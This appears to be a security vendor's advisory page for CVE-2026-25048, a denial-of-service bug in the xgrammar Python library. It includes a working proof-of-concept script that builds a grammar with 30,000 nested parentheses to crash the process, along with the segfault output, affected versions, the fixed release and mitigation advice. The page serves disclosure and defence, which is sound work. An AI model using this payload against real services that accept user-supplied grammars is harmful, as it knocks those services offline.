CVE-2026-25048 — xgrammar
CVE-2026-25048 is a CWE-674 vulnerability in xgrammar. A fix is available for xgrammar — see the affected versions and patch details below.
xgrammar: Multi-layer nesting causes DoS
Exploitation Status
No confirmed exploitation observed yet
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-25048.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
xgrammarReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The multi-level nested syntax caused a segmentation fault (core dump).
Details
A trigger stack overflow or memory exhaustion was caused by constructing a malicious grammar rule containing 30,000 layers of nested parentheses.
PoC
#!/usr/bin/env python3
"""
XGrammar - Math Expression Generation Example
"""
import xgrammar as xgr
import torch
from transformers import AutoModelForCausalLM, AutoTokenizer, AutoConfig
s = '(' * 30000 + 'a'
grammar = f"root ::= {s}"
def main():
device = "cuda" if torch.cuda.is_available() else "cpu"
model_name = "Qwen/Qwen2.5-0.5B-Instruct"
# Load model
model = AutoModelForCausalLM.from_pretrained(
model_name,
torch_dtype=torch.float16 if device == "cuda" else torch.float32,
device_map=device
)
tokenizer = AutoTokenizer.from_pretrained(model_name)
config = AutoConfig.from_pretrained(model_name)
# Math expression grammar
math_grammar = grammar
# Setup
tokenizer_info = xgr.TokenizerInfo.from_huggingface(
tokenizer,
vocab_size=config.vocab_size
)
compiler = xgr.GrammarCompiler(tokenizer_info)
compiled_grammar = compiler.compile_grammar(math_grammar)
# Generate
prompt = "Math: "
inputs = tokenizer(prompt, return_tensors="pt").to(device)
xgr_processor = xgr.contrib.hf.LogitsProcessor(compiled_grammar)
output_ids = model.generate(
**inputs,
max_new_tokens=50,
logits_processor=[xgr_processor]
)
result = tokenizer.decode(
output_ids[0][len(inputs.input_ids[0]):],
skip_special_tokens=True
)
print(f"Generated expression: {result}")
if __name__ == "__main__":
main()
> pip show xgrammar
Name: xgrammar
Version: 0.1.31
Summary: Efficient, Flexible and Portable Structured Generation
Home-page:
Author: MLC Team
Author-email:
License: Apache 2.0
Location: /home/yuelinwang/.local/lib/python3.10/site-packages
Requires: numpy, pydantic, torch, transformers, triton, typing-extensions
Required-by:
> python3 1.py
`torch_dtype` is deprecated! Use `dtype` instead!
Segmentation fault (core dumped)
Impact
DoS
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | xgrammar | all versions | 0.1.32pip install --upgrade 'xgrammar==0.1.32' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for xgrammar, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update xgrammar to 0.1.32 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-25048 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-25048 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-25048. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat AI Inference Server 3.2 | rhaiis/vllm-cuda-rhel9:1774351144 | RHSA-2026:5809 |
| Red Hat AI Inference Server 3.2 | rhaiis/model-opt-cuda-rhel9:1774547384 | RHSA-2026:6761 |
| Red Hat AI Inference Server 3.2 | rhaiis/vllm-rocm-rhel9:1775252598 | RHSA-2026:6762 |
| Red Hat OpenShift AI 2.25 | rhoai/odh-vllm-gaudi-rhel9:1780069069 | RHSA-2026:24977 |
| Red Hat OpenShift AI 2.25 | rhoai/odh-vllm-cuda-rhel9:1783998774 | RHSA-2026:42644 |
Frequently Asked Questions
Is CVE-2026-25048 in your dependencies?
O3 Security finds CVE-2026-25048 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.